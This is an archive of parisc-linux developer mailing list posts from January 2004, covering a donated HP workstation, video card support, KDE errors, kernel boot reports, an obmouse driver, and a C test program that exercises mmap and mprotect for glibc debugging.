NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623116 4405 80.91.229.3 (22 Nov 2014 02:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:16 +0000 (UTC)
To: "'David Huggins-Daines'" <dhd@pobox.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: Timothy.Quinn@McKesson.com  Fri Jan  9 03:37:14 2004
Return-Path: <Timothy.Quinn@McKesson.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail2.mckhboc.com (mail2.mckhboc.com [208.147.67.99])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC8814857
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 03:37:13 -0700 (MST)
Original-Received: from 139.177.6.217 by mail2.mckhboc.com with ESMTP (Outbound
	Mail2 SMTP Relay (MMS v5.6.0)); Fri, 09 Jan 2004 02:37:03 -0800
X-Server-Uuid: 01AC2B3C-C8ED-48E0-9845-A54B89A139B8
Original-Received: by smtpout.hboc.com with Internet Mail Service (5.5.2653.19)
	id <Z0YL5TDC>; Fri, 9 Jan 2004 05:37:22 -0500
Original-Received: from atlexc90nthub.hboc.com (ims1.mckesson.com [139.177.6.114]
	) by atlexcsmtpb.hboc.com with SMTP (Microsoft Exchange Internet Mail
	Service Version 5.5.2653.13) id Z0YL5TDB; Fri, 9 Jan 2004 05:37:18
	-0500
Original-Received: by ims1.mckesson.com with Internet Mail Service (5.5.2653.19)
	id <ZAVMAZPG>; Fri, 9 Jan 2004 05:37:28 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
X-WSS-ID: 13E05BC41P05181118-01-01
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 10:37:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20591

What does the thing weigh?  I am in Atlanta, but might be able to pay for
shipping.  God knows I can use something better than my h50...

-----Original Message-----
From: David Huggins-Daines [mailto:dhd@pobox.com] 
Sent: Wednesday, January 07, 2004 9:46 AM
To: parisc-linux@lists.parisc-linux.org
Subject: [parisc-linux] C200 available to good home (Pittsburgh area)


Hello,

I have a C200 which I had planned to do some porting work on.  
Unfortunately it just doesn't seem like I will ever have time to work 
on PA-Linux stuff in the future, and so the thing is just taking up (a 
lot) of space.  Is there anyone out there who could put this to better 
use?  I don't want to sell it, just pass it on to someone who I know is 
going to use it for development purposes.

I'd prefer someone local (I'm in Pittsburgh, Pennsylvania, USA) because 
it's quite big and heavy (yes, I know, it's a "workstation", but 
still).

It is quite loaded down with RAM and multiple video cards and would be 
good for someone doing X11 or framebuffer work.

Please Cc: me on any replies to the list ... thanks.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on C3000 visualize
Date: Fri, 09 Jan 2004 12:32:50 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <1073651569.13471.5.camel@dhcp23.swansea.linux.org.uk>
References: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
	<20040109094354.GZ533@tausq.org>
	<001701c3d691$4ca17ec0$0101a8c0@nitephyre>
	<20040109094904.GA533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623116 4407 80.91.229.3 (22 Nov 2014 02:25:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:16 +0000 (UTC)
Cc: Matt Lewis <nitephyre@iinet.net.au>, parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Jan  9 05:36:05 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (unknown [81.2.110.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C79D4855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 05:36:04 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i09CWu0r014572; Fri, 9 Jan 2004 12:32:56 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i09CWrGt014570; Fri, 9 Jan 2004 12:32:53 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20040109094904.GA533@tausq.org>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 12:36:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20592

On Gwe, 2004-01-09 at 09:49, Randolph Chung wrote:
> In general x86 video cards do not work because they have bios that need
> to run x86 code (that's my understanding anyway). this has been
> discussed several times on the list.  there's an additional problem
> which is that some pa firmware refuses to boot with non-HP gfx cards.

X has an emulator for this, and we do actually know how to init a tnt2
card (see the rivafb code for some of it). Your Tnt2 might actually
work, you never know 8)



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@pobox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C200 available to good home (Pittsburgh area )
Date: Fri, 9 Jan 2004 08:44:42 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <FA535F96-42A9-11D8-B05F-003065E3225C@pobox.com>
References: <97399C6F047FFE43BA1F4520E9E27EF504465A50@atlexc05ntms.hboc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v609)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623117 4410 80.91.229.3 (22 Nov 2014 02:25:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Quinn, Timothy" <Timothy.Quinn@McKesson.com>
Original-X-From: dhd@pobox.com  Fri Jan  9 06:44:46 2004
Return-Path: <dhd@pobox.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from out006.verizon.net (out006pub.verizon.net [206.46.170.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E1814855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 06:44:46 -0700 (MST)
Original-Received: from [192.168.0.100] ([141.158.75.198]) by out006.verizon.net
	(InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP
	id <20040109134445.RMUO3734.out006.verizon.net@[192.168.0.100]>;
	Fri, 9 Jan 2004 07:44:45 -0600
In-Reply-To: <97399C6F047FFE43BA1F4520E9E27EF504465A50@atlexc05ntms.hboc.com>
X-Mailer: Apple Mail (2.609)
X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from
	[141.158.75.198] at Fri, 9 Jan 2004 07:44:44 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 13:44:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20593

On Jan 9, 2004, at 5:37 AM, Quinn, Timothy wrote:

> What does the thing weigh?  I am in Atlanta, but might be able to pay 
> for
> shipping.  God knows I can use something better than my h50...

Funny, I never actually weighed it myself until now.  It weighs exactly 
50 pounds.  Shipping is actually not as much as I thought - it should 
only be $25 or $30 for UPS Ground.



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Kernel Hacker Challenge #1] loop.c source update.
Date: Fri, 9 Jan 2004 08:56:27 -0500
Lines: 114
Approved: news@gmane.org
Message-ID: <20040109135627.GB17203@systemhalted>
References: <20040108054212.GC2347@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623117 4412 80.91.229.3 (22 Nov 2014 02:25:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Fri Jan  9 07:04:52 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F17F4855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 07:04:52 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1Aex7k-0004YD-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 09 Jan 2004 08:56:28 -0500
Content-Disposition: inline
In-Reply-To: <20040108054212.GC2347@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 14:04:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20594

On Thu, Jan 08, 2004 at 12:42:12AM -0500, Carlos O'Donell wrote:
> 
> pa,
> 

Mistake in the code, changed up thanks to Stan who noticed I missed
setting the "start" value for the second mmap call. I was also smoking
crack when I wrote PAGEMASK down, that's what I get for issuing
challenges in the early morning.

http://www.baldric.uwo.ca/~carlos/loop.c (For those with wget fetishes).

The *NO* in the syscall comment means that I did not include that
syscall in the loop. I deemed it not important. If you think otherwise
please test and return the results.

---
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define BUFLEN 512
#define PAGESIZE 4096
/* 4096 - 1, usefull for ~PAGEMASK */
#define PAGEMASK 0x0fff

/*
 
 Sample trace of what glibc does...
   
    968 open("./tst-tlsmod13.so", O_RDONLY)     = 3
    969 read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\10"..., 512) = 512
    970 fstat64(3, {st_mode=0, st_size=4294967297000, ...}) = 0
*NO*971 getcwd("/home/carlos/src/glibc-work/tests/tst-tls13", 128) = 44
    972 mmap(NULL, 69232, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x401b2000
    973 mprotect(0x401b3000, 65136, PROT_NONE)  = 0
    974 mmap(0x401c2000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x401c2000
    975 close(3)                                = 0
*NO*976 munmap(0x401a1000, 69352)               = 0
    977 munmap(0x401b2000, 69232)               = 0

Compile this code with:

	gcc -o loop loop.c

Create the test file with:

	dd if=/dev/zero of=./testdata bs=1024 count=70

*/

int
main (void)
{
  int i;
  char buffer[BUFLEN];
  void * start = NULL;
  int offset = 0;
  void * end = NULL;
  size_t length = 0;
  int filefd;
  void * filemap;
  void * filemap2;
  struct stat statbuf;
  
  for (i = 0; i < 1000;)
    {
      printf ("round %d\n",++i);

      /* File is 70 * 1024 bytes */
      filefd = open("./testdata", O_RDONLY);
      if (filefd == -1) { perror("open"); exit(1); }
      
      /* Read 512 bytes into a buffer... or less */
      length = read(filefd, buffer, BUFLEN);
      if (length == 0) { perror("read"); exit(1); }
       
      /* Find the real size */
      if (fstat(filefd, &statbuf) != 0) { perror("fstat"); exit(1); }
      length = statbuf.st_size;
      
      /* mmap without protection */
      filemap = mmap (start, length, PROT_READ|PROT_EXEC, MAP_PRIVATE, filefd, offset);
      if (filemap == MAP_FAILED) { perror("mmap"); exit (1); }
     
      /* Load in a page of zeros, starting at the next page */
      start = (void *)((unsigned int)(filemap + length + PAGESIZE) & ~PAGEMASK);
      filemap2 = mmap (start, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC, 
		      MAP_PRIVATE|MAP_FIXED, filefd, offset);
      if ( filemap2 == MAP_FAILED ) { perror("mmap2"); exit(1); }
      
      /* Protect everything but the first page */
      start = (void *)(((unsigned int)(filemap) & ~PAGEMASK) + PAGESIZE);
      length = (size_t)((filemap - ((unsigned int)filemap & ~PAGEMASK)) + length - PAGESIZE);
      if (mprotect(start, length, PROT_NONE) != 0) 
        { perror("mprotext"); exit(1); }

      /* Close the file descriptor */
      if (close(filefd) != 0) { perror("close"); exit(1); }

      /* munmap the areas */
      if (munmap(filemap, length) != 0 ) { perror("munmap"); exit(1); }
      if (munmap(filemap2, PAGESIZE) != 0 ) { perror("munmap2"); exit(1); }
      
    }

  return 0;
}
---


From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: KDE and sarge (dcopserver?)
Date: Fri, 9 Jan 2004 11:26:00 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20040109162600.GD17203@systemhalted>
References: <20040109151436.51FB54E8F8@mailhost.cetic.be>
	<20040109161247.GK28742@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623117 4418 80.91.229.3 (22 Nov 2014 02:25:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: carlos@baldric.uwo.ca  Fri Jan  9 09:34:30 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 266354855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 09:34:30 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AezSS-0004rE-00; Fri, 09 Jan 2004 11:26:00 -0500
Content-Disposition: inline
In-Reply-To: <20040109161247.GK28742@charite.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (3% Sync Ratio [..........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 16:34:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20595

On Fri, Jan 09, 2004 at 05:12:47PM +0100, Ralf Hildebrandt wrote:
> > DCOPClient::attachInternal. Attach failed Authentication Rejected, reason : 
> > None of the authentication protocols specified are supported and host-based 
> > authentication failed
> > DCOPServer self-test failed.
> 
> Same problem here. In sid...

Is there some form of verbose output for the DCOP server?

c.



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.1-rc3-pa0 (32bit),
	2.4.24-pa0 and 2.4.25-pre4-pa0 (64bit) Ok
Date: Fri, 09 Jan 2004 18:23:28 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <3FFEF1A0.40002@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623118 4422 80.91.229.3 (22 Nov 2014 02:25:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Fri Jan  9 11:21:57 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id A41E44855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 11:21:57 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Af1Ge-0004b6-4i; Fri, 09 Jan 2004 19:21:56 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 18:21:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20596

Just to mentionned that test:
2.6.1-rc3-pa0 (32bit) compile and boot fine on my b2k and a b180L
2.4.24-pa0 and 2.4.25-pre4-pa0 (64bit) compile and boot fine on the b2k

Thanks again to all for your great job,
	Joel



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] 2.4.24-pre3 obmouse driver for HP OB600
	C/CT laptop
Date: Fri, 9 Jan 2004 20:04:47 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <200401092004.47265.deller@gmx.de>
References: <20040105052059.GA612@colo.lackof.org>
	<200401051526.26503.deller@gmx.de>
	<20040109055534.GA5393@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623118 4425 80.91.229.3 (22 Nov 2014 02:25:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Fri Jan  9 12:04:49 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 750B64855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 12:04:48 -0700 (MST)
Original-Received: (qmail 23160 invoked by uid 65534); 9 Jan 2004 19:04:47 -0000
Original-Received: from pD9040D4A.dip.t-dialin.net (EHLO datime) (217.4.13.74)
	by mail.gmx.net (mp015) with SMTP; 09 Jan 2004 20:04:47 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <20040109055534.GA5393@colo.lackof.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 19:04:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20597

On Friday 09 January 2004 06:55, Grant Grundler wrote:
> On Mon, Jan 05, 2004 at 03:26:26PM +0100, Helge Deller wrote:
> > With the input-driver you can directly give the absolute coordinates
> > (no need to do conversion yourself),
> 
> I looked at Documentation/input/* and REL_ABS can not deal
> with "roll-over". It's expects fixed values to define the range
> of motion. That's not true for obmouse.
> AFAICT, only real tablets and joysticks fit that model well.

yes, maybe. I don't know obmice's details.

> I have the feeling /dev/input is a bit more "heavy weight" based
> on the number of function calls in ob_interrupt. But I'm not sure
> it matters. This is just for fun and it works too.

Hmm, the calls are pretty fast iirc..
See also my other mail.

Helge


From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] 2.4.24-pre3 obmouse driver for HP
	OB600 C/CT laptop
Date: Fri, 9 Jan 2004 20:14:01 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <200401092014.01848.deller@gmx.de>
References: <20040105052059.GA612@colo.lackof.org>
	<20040109055534.GA5393@colo.lackof.org>
	<200401092004.47265.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623118 4428 80.91.229.3 (22 Nov 2014 02:25:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Fri Jan  9 12:14:03 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2B4414855
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Jan 2004 12:14:03 -0700 (MST)
Original-Received: (qmail 16881 invoked by uid 65534); 9 Jan 2004 19:14:02 -0000
Original-Received: from pD9040D4A.dip.t-dialin.net (EHLO p100) (217.4.13.74)
	by mail.gmx.net (mp007) with SMTP; 09 Jan 2004 20:14:02 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.5.94
In-Reply-To: <200401092004.47265.deller@gmx.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Jan 2004 19:14:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20598

Sorry, this mail was meant to go to Grant directly....

Helge

On Friday 09 January 2004 20:04, Helge Deller wrote:
> On Friday 09 January 2004 06:55, Grant Grundler wrote:
> > On Mon, Jan 05, 2004 at 03:26:26PM +0100, Helge Deller wrote:
> > > With the input-driver you can directly give the absolute coordinates
> > > (no need to do conversion yourself),
> > 
> > I looked at Documentation/input/* and REL_ABS can not deal
> > with "roll-over". It's expects fixed values to define the range
> > of motion. That's not true for obmouse.
> > AFAICT, only real tablets and joysticks fit that model well.
> 
> yes, maybe. I don't know obmice's details.
> 
> > I have the feeling /dev/input is a bit more "heavy weight" based
> > on the number of function calls in ob_interrupt. But I'm not sure
> > it matters. This is just for fun and it works too.
> 
> Hmm, the calls are pretty fast iirc..
> See also my other mail.
> 
> Helge



From - Thu Nov 08 21:30:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree on C3000 visualize
Date: Fri, 9 Jan 2004 13:30:13 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20040109203013.GC14165@colo.lackof.org>
References: <000a01c3d68f$45c6f500$0101a8c0@nitephyre>
	<20040109094354.GZ533@tausq.org>
	<001701c3d691$4ca17ec0$0101a8c0@nitephyre>
	<20040109094904.GA533@tausq.org>
	<002d01c3d693$1f1b3840$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623119 4432 80.91.229.3 (22 Nov 2014 02:25:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
